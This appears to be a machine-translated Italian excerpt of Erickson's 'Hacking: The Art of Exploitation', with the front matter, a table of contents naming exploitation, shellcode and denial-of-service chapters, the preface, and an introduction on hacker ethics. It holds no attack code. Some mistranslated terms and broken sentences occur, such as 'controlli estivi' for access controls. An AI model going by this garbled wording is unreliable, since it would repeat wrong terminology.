Sei sulla pagina 1di 275

Pagina 1

Testo originale
Contribuisci a una traduzione migliore

NSIDE

H ITION

ACKIN 2 ° EDIZIO

G
T
H
E
UN
R
T
HACKIN
L'ARTE DELLO SFRUTTA
O
F
E
X
P
LO
ITA JON ERICK
T
IO
N

KSON

Pagina 3
2

LODI PER LA PRIMA EDIZIONE DI


HACKING: L'ARTE DELLO SFRUTTAMENTO

“Il tutorial più completo sulle tecniche di hacking. Finalmente un libro che non lo fa
mostra solo come utilizzare gli exploit ma come svilupparli. "
- PHRACK

“Da tutti i libri che ho letto finora, lo considererei il seminale


manuale degli hacker. "
- FORUM DI SICUREZZA

"Consiglio questo libro solo per la sezione di programmazione."


- REVISIONE UNIX

"Consiglio vivamente questo libro. È scritto da qualcuno che sa cosa


parla, con codice, strumenti ed esempi utilizzabili. "
- IEEE CIPHER

"Il libro di Erickson, una guida compatta e senza fronzoli per hacker inesperti,
è pieno di codice reale e tecniche di hacking e spiegazioni su come
lavorano."
- RIVISTA UTENTE ( CPU ) ALIMENTAZIONE DEL COMPUTER

"Questo libro è eccellente. Coloro che sono pronti a passare a [il prossimo
livello] dovrebbe prendere questo libro e leggerlo attentamente. "
- CHI . COM INTERNET / SICUREZZA DELLA RETE
Pagina 5
4

San Francisco

Pagina 6

HACKING: THE ART OF EXPLOITATION, 2A EDIZIONE.Copyright © 2008 di Jon Erickson.

Tutti i diritti riservati. Nessuna parte di questo lavoro può essere riprodotta o trasmessa in qualsiasi forma o con qualsiasi mezzo, elettronico o
meccanico, inclusa la fotocopia, la registrazione o qualsiasi sistema di archiviazione o recupero delle informazioni, senza previa autorizzazione
autorizzazione scritta del proprietario del copyright e dell'editore.

Stampato su carta riciclata negli Stati Uniti d'America

11 10 09 08 07 123456789

ISBN-10: 1-59327-144-1
ISBN-13: 978-1-59327-144-2

Editore: William Pollock


Redattori di produzione: Christina Samuell e Megan Dunchak
Cover Design: Octopod Studios
Editore dello sviluppo: Tyler Ortman
Revisore tecnico: Aaron Adams
Copieditori: Dmitry Kirsanov e Megan Dunchak
Compositori: Christina Samuell e Kathleen Mish
Revisore: Jim Brook
Indicizzatore: Nancy Guenther

Per informazioni sui distributori di libri o sulle traduzioni, contattare direttamente No Starch Press, Inc.:

No Starch Press, Inc.


555 De Haro Street, Suite 250, San Francisco, CA 94107
telefono: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com

Dati di catalogazione in pubblicazione della Library of Congress

Erickson, Jon, 1977-


Hacking: l'arte dello sfruttamento / Jon Erickson. - 2a ed.
p. centimetro.
ISBN-13: 978-1-59327-144-2
ISBN-10: 1-59327-144-1
1. Sicurezza informatica. 2. Hacker informatici. 3. Reti di computer - Misure di sicurezza. I. Titolo.
QA76.9.A25E75 2008
005.8 - dc22
2007042910

No Starch Press e il logo No Starch Press sono marchi registrati di No Starch Press, Inc. Altri prodotti e
i nomi delle società qui menzionati possono essere marchi dei rispettivi proprietari. Piuttosto che utilizzare un marchio
simbolo con ogni occorrenza di un nome di marchio registrato, stiamo usando i nomi solo in modo editoriale e per il
vantaggio del titolare del marchio, senza alcuna intenzione di contraffazione del marchio.

Le informazioni in questo libro vengono distribuite "così come sono", senza garanzia.Mentre ogni precauzione è stata
presi nella preparazione di questo lavoro, né l'autore né No Starch Press, Inc. avranno alcuna responsabilità nei confronti di alcuno
persona o entità in relazione a qualsiasi perdita o danno causato o presumibilmente causato direttamente o indirettamente da
informazioni in esso contenute.

Pagina 7

BREVE CONTENUTO

Prefazione ................................................. .................................................. ...................... xi

Ringraziamenti ................................................. .................................................. ...... xii

0x100 Introduzione ................................................ .................................................. ..... 1

Programmazione 0x200 ................................................ .................................................. ... 5

0x300 Sfruttamento ................................................ .................................................. .115

0x400 Rete ................................................ .................................................. .195

Codice shell 0x500 ................................................ .................................................. .... 281

0x600 Contromisure ................................................ ............................................ 319

0x700 Cryptology ................................................ .................................................. ..393

0x800 Conclusione ................................................ .................................................. ..451

Indice ................................................. .................................................. ...................... 455

Pagina 9
8

CONTENUTI IN DETTAGLIO

PREFAZIONE xi

RICONOSCIMENTI xii

0x100 INTRODUZIONE 1
PROGRAMMAZIONE 0x200 5
0x210 Che cos'è la programmazione? .................................................. ............................... 6
0x220 Pseudo-codice .............................................. .................................................. 7
0x230 Strutture di controllo ............................................... .......................................... 8
0x231 If-Then-Else ............................................ .......................................... 8
0x232 Cicli While / Until ............................................. .............................. 9
0x233 Per loop ............................................... ...................................... 10
0x240 Altri concetti fondamentali di programmazione ............................................. ...... 11
0x241 Variabili ................................................ ..................................... 11
0x242 Operatori aritmetici ............................................... ...................... 12
0x243 Operatori di confronto ............................................... ................... 14
0x244 Funzioni ................................................ ...................................... 16
0x250 Sporcarsi le mani ............................................. ............................... 19
0x251 L'immagine più grande .............................................. ........................... 20
0x252 Il processore x 86 ............................................. ........................... 23
0x253 Linguaggio assembly ............................................... ........................ 25
0x260 Ritorno alle origini .............................................. .............................................. 37
0x261 Stringhe ................................................ ......................................... 38
0x262 Signed, Unsigned, Long e Short ......................................... ........ 41
0x263 Puntatori ................................................ ....................................... 43
Stringhe di formato 0x264 ............................................... ................................ 48
0x265 Typecasting ................................................ .................................. 51
0x266 Argomenti della riga di comando ............................................. ................. 58
0x267 Ambito variabile ............................................... ........................... 62
0x270 Segmentazione della memoria ............................................... ................................. 69
0x271 Segmenti di memoria in C ............................................. ..................... 75
0x272 Uso dell'heap .............................................. ............................... 77
0x273 malloc controllato da errori () ........................................... ........................ 80
0x280 Costruire sulle basi .............................................. ........................................ 81
0x281 Accesso ai file ............................................... .................................... 81
0x282 Autorizzazioni file ............................................... .............................. 87
0x283 ID utente ............................................... ........................................ 88
0x284 Structs ................................................ .......................................... 96
0x285 Puntatori a funzione ............................................... .......................... 100
0x286 Numeri pseudo-casuali ............................................. ................ 101
0x287 Un gioco d'azzardo ............................................. ........................ 102

Pagina 10

0x300 SFRUTTAMENTO 115


0x310 Tecniche di exploit generalizzate .............................................. ................... 118
0x320 Buffer Overflow ............................................... ....................................... 119
Vulnerabilità di overflow del buffer basato su stack 0x321 .................................... 122
0x330 Sperimentare con BASH .............................................. ............................ 133
0x331 Utilizzo dell'ambiente .............................................. .................... 142
0x340 Overflow in altri segmenti ............................................. ....................... 150
0x341 Overflow basato su heap di base ........................................... ........... 150
0x342 Puntatori funzione in overflow .............................................. ......... 156
Stringhe di formato 0x350 ............................................... ........................................... 167
Parametri del formato 0x351 ............................................... ........................ 167
0x352 Vulnerabilità della stringa di formato ............................................. ......... 170
0x353 Lettura da indirizzi di memoria arbitraria .................................... 172
0x354 Scrittura su indirizzi di memoria arbitraria ......................................... 173
0x355 Accesso diretto ai parametri .............................................. ................. 180
0x356 Utilizzo di scritture brevi .............................................. ........................ 182
0x357 Deviazioni con .dtors ............................................. .......................... 184
0x358 Un'altra vulnerabilità di notesearch .............................................. ..... 189
0x359 Sovrascrittura della tabella di offset globale ............................................ .. 190

0x400 NETWORKING 195


Modello OSI 0x410 ............................................... ............................................... 196
Prese 0x420 ................................................ .................................................. 198
0x421 Funzioni socket ............................................... ........................... 199
0x422 Indirizzi socket ............................................... ......................... 200
0x423 Ordine byte di rete .............................................. ...................... 202
0x424 Conversione indirizzo Internet .............................................. ........... 203
0x425 Un semplice esempio di server ............................................. ................ 203
0x426 Un esempio di client Web ............................................. ................... 207
0x427 Un server Tinyweb .............................................. .......................... 213
0x430 Rimozione degli strati inferiori ............................................ ........................ 217
0x431 Livello collegamento dati ............................................. ............................... 218
0x432 Livello di rete ............................................... ............................. 220
0x433 Livello di trasporto ............................................... ........................... 221
0x440 Sniffing di rete ............................................... ....................................... 224
0x441 Raw Socket Sniffer .............................................. ......................... 226
0x442 libpcap Sniffer ............................................... ............................. 228
0x443 Decodifica dei livelli .............................................. ...................... 230
0x444 Sniffing attivo ............................................... .............................. 239
0x450 Denial of Service .............................................. ....................................... 251
0x451 SYN Flooding ............................................... .............................. 252
0x452 Il suono della morte ............................................. ........................... 256
0x453 Teardrop ................................................ .................................... 256
0x454 Ping Flooding ............................................... .............................. 257
0x455 Attacchi di amplificazione ............................................... ................... 257
0x456 Flooding DoS distribuito .............................................. ................ 258
0x460 Dirottamento TCP / IP ............................................. ......................................... 258
0x461 Dirottamento RST ............................................... .............................. 259
0x462 Dirottamento continuato ............................................... ..................... 263

viii Contenuti in dettaglio

Pagina 11
Scansione della porta 0x470 ............................................... ........................................... 264
0x471 Stealth SYN Scan .............................................. .......................... 264
0x472 FIN, X-mas e Null Scans ........................................ .................. 264
0x473 Spoofing Decoys ............................................... .......................... 265
0x474 Scansione inattiva ............................................... ............................... 265
0x475 Difesa proattiva (velo) ............................................ ............... 267
0x480 Raggiungi e hackera qualcuno ............................................ ...................... 272
0x481 Analisi con GDB .............................................. ......................... 273
0x482 Conta quasi solo con le bombe a mano ...................................... 275
Codice shell binding porta 0x483 ............................................. .................... 278

0x500 SHELLCODE 281


0x510 Assembly vs.C ............................................. ........................................... 282
0x511 Chiamate di sistema Linux in Assembly ............................................ ......... 284
0x520 Il percorso per lo shellcode ............................................. ................................... 286
0x521 Istruzioni di assemblaggio usando lo stack ............................................ 287
0x522 Indagare con GDB .............................................. ................... 289
0x523 Rimozione di byte nulli .............................................. ...................... 290
0x530 Shell-Spawning Shellcode ............................................. ............................. 295
0x531 Una questione di privilegio ............................................. ....................... 299
0x532 e ancora più piccolo .............................................. ............................ 302
Codice shell binding porta 0x540 ............................................. ................................. 303
0x541 Duplicazione dei descrittori di file standard ............................................. 307
0x542 Strutture di controllo ramificate .............................................. ........... 309
Codice shell Connect-Back 0x550 ............................................. ............................... 314

Contromisure 0x600 319


0x610 Contromisure rilevate .............................................. ....................... 320
0x620 Demoni di sistema ............................................... ....................................... 321
0x621 Crash Course in Signals ............................................. .................. 322
0x622 Tinyweb Daemon ............................................... ......................... 324
0x630 Strumenti del mestiere ............................................. ........................................ 328
0x631 tinywebd Exploit Tool .............................................. ..................... 329
File di registro 0x640 ............................................... .................................................. 334
0x641 Fondi con la folla ............................................ ................... 334
0x650 Overlooking the Obvious .............................................. ............................ 336
0x651 Un passo alla volta ............................................ ......................... 336
0x652 Rimettere insieme le cose ............................................ ... 340
0x653 Lavoratori minorenni ............................................... ............................. 346
0x660 Mimetica avanzata ............................................... .............................. 348
0x661 Spoofing dell'indirizzo IP registrato ............................................ ........ 348
0x662 Sfruttamento logless ............................................... ...................... 352
0x670 L'intera infrastruttura .............................................. ............................. 354
0x671 Riutilizzo socket ............................................... ............................... 355
0x680 Payload di contrabbando ............................................... ................................... 359
Codifica stringa 0x681 ............................................... ........................... 359
0x682 Come nascondere una slitta ............................................ ......................... 362
0x690 Restrizioni del buffer ............................................... ...................................... 363
Shellcode ASCII stampabile polimorfico 0x691 ........................................... 366

Contenuti in dettaglio ix

Pagina 12

0x6a0 Contromisure di rafforzamento ............................................... ....................... 376


0x6b0 Stack non eseguibile ............................................... ................................. 376
0x6b1 ret2libc ................................................ ...................................... 376
0x6b2 Ritorno nel sistema () ............................................ ...................... 377
0x6c0 Spazio stack randomizzato .............................................. ............................ 379
0x6c1 Indagini con BASH e GDB ............................................ .... 380
0x6c2 Bouncing Off linux-gate ............................................ ................... 384
0x6c3 Conoscenza applicata ............................................... ...................... 388
0x6c4 Un primo tentativo .............................................. ............................... 388
0x6c5 Giocare con le probabilità .............................................. ........................... 390

CRIPTOLOGIA 0x700 393


0x710 Teoria dell'informazione ............................................... .................................... 394
0x711 Sicurezza incondizionata ............................................... .................. 394
0x712 One-Time Pads ............................................. ............................... 395
0x713 Quantum Key Distribution .............................................. ............... 395
0x714 Computational Security ............................................... ................. 396
0x720 Tempo di esecuzione algoritmico .............................................. .................................. 397
0x721 Notazione asintotica ............................................... ..................... 398
0x730 Crittografia simmetrica ............................................... ................................. 398
0x731 Algoritmo di ricerca quantistica di Lov Grover ....................................... 399
Crittografia asimmetrica 0x740 ............................................... ............................... 400
0x741 RSA ................................................ ........................................... 400
0x742 Algoritmo Quantum Factoring di Peter Shor ..................................... 404
Cifrature ibride 0x750 ............................................... ......................................... 406
0x751 Attacchi Man-in-the-Middle ......................................... ................... 406
0x752 Impronte digitali host del protocollo SSH diverse .......................................... 410
0x753 Impronte Fuzzy ............................................... ........................ 413
0x760 Cracking password ............................................... .................................... 418
0x761 Attacchi al dizionario ............................................... ........................ 419
0x762 Attacchi di forza bruta esaustivi ............................................ ........... 422
0x763 Tabella di ricerca hash .............................................. ........................ 423
0x764 Matrice di probabilità della password .............................................. ........... 424
0x770 Crittografia wireless 802.11b ............................................. ....................... 433
0x771 Wired Equivalent Privacy .............................................. ............... 434
0x772 RC4 Stream Cipher .............................................. ....................... 435
Attacchi WEP 0x780 ............................................... ............................................. 436
0x781 Attacchi di forza bruta offline ............................................ ................ 436
0x782 Riutilizzo del flusso di chiavi ............................................... .......................... 437
0x783 Tabelle del dizionario di decrittografia basato su IV ........................................... 438
0x784 Reindirizzamento IP ............................................... ............................... 438
0x785 Fluhrer, Mantin e Shamir Attack .......................................... ..... 439

0x800 CONCLUSIONE 451


Riferimenti 0x810 ................................................ ............................................... 452
0x820 Fonti ................................................ .................................................. 454
INDICE 455

X Contenuti in dettaglio

Pagina 13

PREFAZIONE

L'obiettivo di questo libro è condividere l'arte dell'hacking


con tutti. Comprensione delle tecniche di hacking
è spesso difficile, poiché richiede sia ampiezza che
profondità di conoscenza. Molti testi di hacking sembrano esoterici
e confuso a causa di poche lacune in questa istruzione prerequisito. Questo
seconda edizione di Hacking: The Art of Exploitation rende il mondo dell'hacking
più accessibile fornendo il quadro completo, dalla programmazione al
codice macchina da sfruttare. Inoltre, questa edizione presenta un file avviabile
LiveCD basato su Ubuntu Linux che può essere utilizzato su qualsiasi computer con
un processore x 86, senza modificare il sistema operativo esistente del computer. Questo CD
contiene tutto il codice sorgente del libro e fornisce uno sviluppo e
ambiente di sfruttamento che puoi utilizzare per seguire quello del libro
esempi e sperimentare lungo il percorso.

Pagina 14

RICONOSCIMENTI

Vorrei ringraziare Bill Pollock e tutti gli altri a


No Starch Press per aver reso questo libro una possibilità e
permettendomi di avere così tanto controllo creativo in
processi. Inoltre, vorrei ringraziare i miei amici Seth Benson e Aaron Adams
per la correzione di bozze e la modifica, Jack Matheson per avermi aiutato con il montaggio,
Dr. Seidel per avermi mantenuto interessato alla scienza dell'informatica, mio
genitori per aver acquistato il primo Commodore VIC-20 e la comunità degli hacker
per l'innovazione e la creatività che hanno prodotto le tecniche spiegate in
questo libro.

Pagina 15

0x100 INTRODUZIONE

L'idea di hacking può evocare immagini stilizzate di


atti di vandalismo elettronico, spionaggio, capelli tinti e corpo
piercing. La maggior parte delle persone associa l'hacking alla rottura
la legge e presumere che tutti coloro che si impegnano in hack-
attività fisica è un criminale. Certo, ci sono persone fuori
c'è chi usa tecniche di hacking per infrangere la legge, ma l'hacking non lo è davvero
riguardo a questo. In effetti, l'hacking significa più seguire la legge che infrangerla.
L'essenza dell'hacking è trovare usi non intenzionali o trascurati di
leggi e proprietà di una data situazione e poi applicandole in nuove e
modi inventivi per risolvere un problema, qualunque esso sia.
Il seguente problema di matematica illustra l'essenza dell'hacking:

Usa ciascuno dei numeri 1, 3, 4 e 6 esattamente una volta con qualsiasi


delle quattro operazioni matematiche di base (addizione, sottrazione,
moltiplicazione e divisione) per il totale 24. Ogni numero deve essere
usato una sola volta e puoi definire l'ordine di
operazioni; ad esempio, 3 * (4 + 6) + 1 = 31 è comunque valido
non corretto, poiché non totalizza 24.

Pagina 16

Le regole per questo problema sono ben definite e semplici, ma la risposta


sfugge a molti. Come la soluzione a questo problema (mostrata nell'ultima pagina di
questo libro), le soluzioni compromesse seguono le regole del sistema, ma le usano
regole in modi controintuitivi. Questo dà agli hacker il loro vantaggio, permettendogli di farlo
risolvere i problemi in modi inimmaginabili per chi è limitato al convenzionale
pensiero e metodologie.
Dall'infanzia dei computer, gli hacker hanno risolto in modo creativo
i problemi. Alla fine degli anni '50, il club di modellismo ferroviario del MIT ricevette un
parti, per lo più vecchie apparecchiature telefoniche. I membri del club lo usavano
apparecchiature per allestire un sistema complesso che ha consentito a più operatori di
trol diverse parti della traccia componendo le sezioni appropriate. Essi
ha chiamato questo uso nuovo e inventivo dell'hacking delle apparecchiature telefoniche ; molti
le persone considerano questo gruppo come gli hacker originali. Il gruppo è andato avanti
alla programmazione su schede perforate e ticker tape per i primi computer come il
IBM 704 e TX-0. Mentre altri si accontentavano di scrivere programmi che
appena risolti i problemi, i primi hacker erano ossessionati dalla scrittura di programmi
che ha risolto bene i problemi . Un nuovo programma che potrebbe ottenere lo stesso risultato
come uno esistente ma utilizzato meno schede perforate era considerato migliore, anche
anche se ha fatto la stessa cosa. La differenza fondamentale era come il programma
ha raggiunto i suoi risultati: eleganza .
Essere in grado di ridurre il numero di schede perforate necessarie per un programma
ha mostrato una maestria artistica sul computer. Un tavolo ben realizzato può contenere
un vaso tanto quanto una lattina di latte, ma sicuramente uno sembra molto meglio del
altro. I primi hacker hanno dimostrato che i problemi tecnici possono avere soluzioni artistiche
e hanno così trasformato la programmazione da semplice ingegneria
compito in una forma d'arte.
Come molte altre forme d'arte, l'hacking è stato spesso frainteso. I pochi
chi l'ha ottenuto ha formato una sottocultura informale che è rimasta intensamente concentrata
sull'apprendimento e la padronanza della loro arte. Credevano che le informazioni dovessero
essere libero e tutto ciò che ostacolava quella libertà dovrebbe essere circoscritto
sfiatato. Tali ostacoli includevano figure di autorità, la burocrazia di
classi universitarie e discriminazione. In un mare di studenti guidati dalla laurea,
questo gruppo non ufficiale di hacker ha sfidato gli obiettivi convenzionali e invece ha perseguito
la conoscenza stessa. Questa spinta a imparare ed esplorare continuamente è trascesa
anche i confini convenzionali tracciati dalla discriminazione, evidenti nel
Accettazione da parte del club di modellismo ferroviario del MIT del dodicenne Peter Deutsch quando
ha dimostrato la sua conoscenza del TX-0 e il suo desiderio di imparare. Età,
razza, sesso, aspetto fisico, titoli accademici e status sociale non lo erano
criteri primari per giudicare il valore di un altro, non a causa del desiderio di
uguaglianza, ma a causa del desiderio di far progredire l'arte emergente dell'hacking.
Gli hacker originali hanno trovato splendore ed eleganza nel convenzionale
scienze a secco della matematica e dell'elettronica. Hanno visto la programmazione come una forma di
espressione artistica e il computer come strumento di quell'arte. Il loro desiderio
dissezionare e comprendere non intendeva demistificare gli sforzi artistici; esso
era semplicemente un modo per ottenere un maggiore apprezzamento di loro. Queste conoscenze-
I valori guidati alla fine sarebbero stati chiamati Hacker Ethic : l'apprezzamento
della logica come forma d'arte e la promozione del libero flusso di informazioni,
superare i confini e le restrizioni convenzionali per il semplice obiettivo di

2 0x100

Pagina 17

capire meglio il mondo. Questa non è una nuova tendenza culturale; il


I pitagorici nell'antica Grecia avevano un'etica e una sottocultura simili, nonostante
non possedere computer. Hanno visto la bellezza nella matematica e ne hanno scoperte molte
concetti fondamentali in geometria. Quella sete di conoscenza e il suo beneficio da-
i prodotti sarebbero continuati attraverso la storia, dai Pitagorici ad Ada
Lovelace ad Alan Turing agli hacker del club di modellismo ferroviario del MIT.
Gli hacker moderni come Richard Stallman e Steve Wozniak hanno continuato
l'eredità dell'hacking, portandoci sistemi operativi moderni, programmazione
lingue, personal computer e molte altre tecnologie che utilizziamo
ogni giorno.
Come si distingue tra i bravi hacker che ci portano il file
meraviglie del progresso tecnologico e dei malvagi hacker che ci rubano
numeri di carta di credito? Il termine cracker è stato coniato per distinguere gli hacker malvagi
da quelli buoni. Ai giornalisti è stato detto che avrebbero dovuto essere i cracker
i cattivi, mentre gli hacker erano i buoni. Gli hacker sono rimasti fedeli al
Hacker Ethic, mentre i cracker erano interessati solo a infrangere la legge e
fare un dollaro veloce. I cracker erano considerati molto meno talentuosi
rispetto agli hacker d'élite, poiché facevano semplicemente uso di strumenti scritti da hacker e
script senza capire come funzionavano. Cracker doveva essere il file
etichetta universale per chiunque faccia qualcosa di senza scrupoli con un computer -
piratare software, deturpare siti Web e, peggio ancora, non capire cosa
stavano facendo. Ma oggi pochissime persone usano questo termine.
La mancanza di popolarità del termine potrebbe essere dovuta alla sua etimologia confusa -
cracker ha originariamente descritto coloro che violano i diritti d'autore del software e invertono
progettare schemi di protezione dalla copia. La sua attuale impopolarità potrebbe semplicemente
risultato dalle sue due nuove ambigue definizioni: un gruppo di persone che si impegnano
in attività illegali con computer o persone che sono hacker relativamente inesperti.
Pochi giornalisti tecnologici si sentono obbligati a usare termini che la maggior parte di loro
i lettori non hanno familiarità con. Al contrario, la maggior parte delle persone è consapevole del mistero
e abilità associate al termine hacker , quindi per un giornalista, la decisione di farlo
usare il termine hacker è facile. Allo stesso modo, a volte viene utilizzato il termine script kiddie
per riferirmi ai cracker, ma semplicemente non ha lo stesso entusiasmo dell'ombra
hacker . Ci sono alcuni che sosterranno ancora che esiste una linea netta tra
hacker e cracker, ma credo che chiunque abbia lo spirito hacker sia un
hacker, nonostante le leggi che potrebbe violare.
Le attuali leggi che limitano la crittografia e la ricerca crittografica
offuscare ulteriormente il confine tra hacker e cracker. Nel 2001, il professor Edward
Felten e il suo gruppo di ricerca dell'Università di Princeton stavano per pubblicare
un documento che ha discusso i punti deboli di vari schemi di watermarking digitale.
Questo documento ha risposto a una sfida lanciata dalla Secure Digital Music
Initiative (SDMI) nella SDMI Public Challenge, che ha incoraggiato il
public per tentare di infrangere questi schemi di watermarking. Prima di Felten e
la sua squadra potrebbe pubblicare il giornale, tuttavia, sono stati minacciati da entrambi
Fondazione SDMI e RIAA (Recording Industry Association of America).
Il Digital Millennium Copyright Act (DCMA) del 1998 lo rende illegale
discutere o fornire la tecnologia che potrebbe essere utilizzata per aggirare il
controlli estivi. Questa stessa legge è stata usata contro Dmitry Sklyarov, un russo
programmatore di computer e hacker. Aveva scritto software per aggirare

introduzione 3

Pagina 18
crittografia eccessivamente semplicistica nel software Adobe e ha presentato le sue scoperte a un
convenzione degli hacker negli Stati Uniti. L'FBI è intervenuta e arrestata
lui, portando a una lunga battaglia legale. Secondo la legge, la complessità del
i controlli dei consumatori del settore non hanno importanza: sarebbe tecnicamente illegale
eseguire il reverse engineering o persino discutere di Pig Latin se fosse usato come
controllo estivo. Chi sono gli hacker e chi sono i cracker adesso? quando
le leggi sembrano interferire con la libertà di parola, fanno i bravi ragazzi che parlano la loro
le menti improvvisamente diventano cattive? Credo che lo spirito dell'hacker trascenda
leggi governative, invece di essere definite da esse.
Le scienze della fisica nucleare e della biochimica possono essere usate per uccidere,
eppure ci forniscono anche un progresso scientifico significativo e moderno
medicinale. Non c'è niente di buono o di cattivo nella conoscenza stessa; la moralità si trova
nell'applicazione della conoscenza. Anche se volessimo, non potremmo reprimerlo
la conoscenza di come convertire la materia in energia o fermare il continuo
progresso tecnologico della società. Allo stesso modo, lo spirito hacker può farlo
non può mai essere interrotto, né può essere facilmente classificato o sezionato. Gli hacker lo faranno
spingere costantemente i limiti della conoscenza e del comportamento accettabile,
costringendoci a esplorare sempre di più.
Parte di questa spinta si traduce in una co-evoluzione definitiva di
sicurezza attraverso la concorrenza tra hacker attaccanti e difesa
hacker. Proprio come la veloce gazzella si è adattata dall'essere inseguita dal ghepardo,
e il ghepardo è diventato ancora più veloce dall'inseguire la gazzella, la
L'azione tra hacker fornisce agli utenti di computer risorse migliori e più forti
sicurezza, nonché tecniche di attacco più complesse e sofisticate. Il
l'introduzione e la progressione dei sistemi di rilevamento delle intrusioni (IDS) è un aspetto fondamentale
esempio di questo processo co-evolutivo. Gli hacker in difesa creano IDS
da aggiungere al loro arsenale, mentre gli hacker attaccanti sviluppano l'evasione dell'IDS
tecniche, che alla fine vengono compensate in IDS più grandi e migliori
prodotti. Il risultato netto di questa interazione è positivo, in quanto produce più smart
persone, maggiore sicurezza, software più stabile, risoluzione dei problemi inventiva
tecniche e persino una nuova economia.
L'intento di questo libro è insegnarti il ​vero spirito dell'hacking.
Esamineremo varie tecniche di hacker, dal passato al presente,
sezionandoli per imparare come e perché funzionano. Incluso in questo libro è
un LiveCD avviabile contenente tutto il codice sorgente utilizzato nel presente documento nonché un file
ambiente Linux preconfigurato. L'esplorazione e l'innovazione sono fondamentali
all'arte dell'hacking, quindi questo CD ti permetterà di seguire e sperimentare
il tuo. L'unico requisito è un processore x 86, che viene utilizzato da tutti
Macchine Microsoft Windows e computer Macintosh più recenti, semplicemente
inserire il CD e riavviare. Questo ambiente Linux alternativo non disturberà
il tuo sistema operativo esistente, quindi quando hai finito, riavvia di nuovo e rimuovi il CD.
In questo modo, acquisirai una comprensione e un apprezzamento pratico per l'hacking
che potrebbe ispirarti a migliorare le tecniche esistenti o persino a inventare
nuovi. Si spera che questo libro stimoli la curiosa natura hacker in te
e ti spinge a contribuire all'arte dell'hacking in qualche modo, a prescindere
su quale lato del recinto scegli di stare.

4 0x100

Pagina 19

0x200 PROGRAMMAZIONE

Hacker è un termine sia per coloro che scrivono codice che per
chi lo sfrutta. Anche se questi due gruppi di
gli hacker hanno obiettivi finali diversi, entrambi i gruppi usano simili
tecniche di risoluzione dei problemi. Dal momento che una comprensione
della programmazione aiuta coloro che sfruttano e un
la condizione di sfruttamento aiuta coloro che programmano, molti
gli hacker fanno entrambe le cose. Ci sono hack interessanti trovati in entrambe le tecniche
utilizzato per scrivere codice elegante e le tecniche utilizzate per sfruttare i programmi.
L'hacking è in realtà solo l'atto di trovare un intelligente e controintuitivo
soluzione a un problema.
Gli hack trovati negli exploit del programma di solito usano le regole del
computer per aggirare la sicurezza in modi mai previsti. Gli hack di programmazione sono
simili in quanto usano anche le regole del computer in modo nuovo e inventivo
modi, ma l'obiettivo finale è l'efficienza o un codice sorgente più piccolo, non necessariamente a
compromissione della sicurezza. In realtà ci sono un numero infinito di programmi che
Pagina 20

possono essere scritti per svolgere qualsiasi compito, ma la maggior parte di queste soluzioni lo sono
inutilmente grande, complesso e sciatto. Le poche soluzioni che rimangono
sono piccoli, efficienti e ordinati. Si dice che i programmi che hanno queste qualità
hanno l' eleganza e le soluzioni intelligenti e inventive che tendono a portare a
questa efficienza è chiamata hack . Hacker su entrambi i lati della programmazione
apprezzare sia la bellezza di un codice elegante che l'ingegnosità di hack intelligenti.
Nel mondo degli affari, viene attribuita maggiore importanza allo sfornare le funzioni
codice nazionale che sul raggiungimento di hack intelligenti ed eleganza. A causa del
enorme crescita esponenziale della potenza computazionale e della memoria,
spendendo cinque ore in più per creare una memoria leggermente più veloce e più
un pezzo di codice efficiente non ha senso per gli affari quando si tratta di
computer moderni che hanno gigahertz di cicli di elaborazione e gigabyte di
memoria. Mentre le ottimizzazioni di tempo e memoria vanno senza preavviso da parte di tutti
il più sofisticato degli utenti, una nuova funzionalità è commerciabile. Quando il
la linea di fondo è denaro, spendere tempo su hack intelligenti solo per l'ottimizzazione
non ha senso.
Il vero apprezzamento dell'eleganza della programmazione è lasciato agli hacker:
hobbisti di computer il cui obiettivo finale non è realizzare un profitto ma spremere
ogni possibile bit di funzionalità dal loro vecchio Commodore 64, sfrutta
scrittori che hanno bisogno di scrivere piccoli e sorprendenti pezzi di codice da leggere
crepe di sicurezza strette e chiunque altro apprezzi l'inseguimento e il
sfida di trovare la migliore soluzione possibile. Queste sono le persone che ottengono
entusiasta della programmazione e apprezzo davvero la bellezza di un elegante
pezzo di codice o l'ingegnosità di un trucco intelligente. Dal momento che una comprensione di
la programmazione è un prerequisito per capire come possono essere i programmi
sfruttato, la programmazione è un punto di partenza naturale.

0x210 Che cos'è la programmazione?


La programmazione è un concetto molto naturale e intuitivo. Un programma non è niente
più di una serie di affermazioni scritte in una lingua specifica. I programmi sono
ovunque, e persino i tecnofobi del mondo usano programmi ogni giorno.
Indicazioni stradali, ricette di cucina, partite di calcio e DNA sono tutti tipi di
programmi. Un tipico programma per le indicazioni stradali potrebbe sembrare qualcosa
come questo:

Inizia lungo Main Street in direzione est. Continua su Main Street finché non vedi
una chiesa alla tua destra. Se la strada è bloccata a causa di lavori in corso, svolta
a destra in 15th Street, svoltare a sinistra in Pine Street, quindi svoltare a destra
16th Street. Altrimenti, puoi semplicemente continuare e girare a destra sulla 16th Street.
Continua su 16th Street e svolta a sinistra in Destination Road. Prosegui dritto
lungo Destination Road per 5 miglia, e poi vedrai la casa sulla destra.
L'indirizzo è 743 Destination Road.

Chiunque conosca l'inglese può capire e seguire queste guida


indicazioni stradali, poiché sono scritte in inglese. Certo, non sono eloquenti,
ma ogni istruzione è chiara e facile da capire, almeno per qualcuno
che legge l'inglese.

6 0x200

Pagina 21

Ma un computer non capisce nativamente l'inglese; capisce solo


linguaggio macchina. Per istruire un computer a fare qualcosa, le istruzioni
deve essere scritto nella sua lingua. Tuttavia, il linguaggio macchina è arcano e
difficile da lavorare: è costituito da bit e byte grezzi e differisce da
architettura all'architettura. Per scrivere un programma in linguaggio macchina per un file
Processore Intel x 86, dovresti capire il valore associato a
ogni istruzione, come ogni istruzione interagisce e una miriade di dettagli di basso livello.
Programmare in questo modo è faticoso e macchinoso, e certamente non lo è
intuitivo.
Cosa serve per superare la complicazione della scrittura in linguaggio macchina
è un traduttore. Un assemblatore è una forma di traduttore in linguaggio macchina: lo è
un programma che traduce il linguaggio assembly in codice leggibile dalla macchina.
Il linguaggio assembly è meno criptico del linguaggio macchina, poiché utilizza nomi
per le diverse istruzioni e variabili, invece di usare solo numeri.
Tuttavia, il linguaggio assembly è ancora lontano dall'essere intuitivo. I nomi delle istruzioni
sono molto esoterici e il linguaggio è specifico dell'architettura. Proprio come una macchina
Il linguaggio per i processori Intel x 86 è diverso dal linguaggio macchina per
Processori Sparc, il linguaggio assembly x 86 è diverso dall'assembly Sparc
linguaggio. Qualsiasi programma scritto utilizzando il linguaggio assembly per un processore
l'architettura non funzionerà sull'architettura di un altro processore. Se un programma
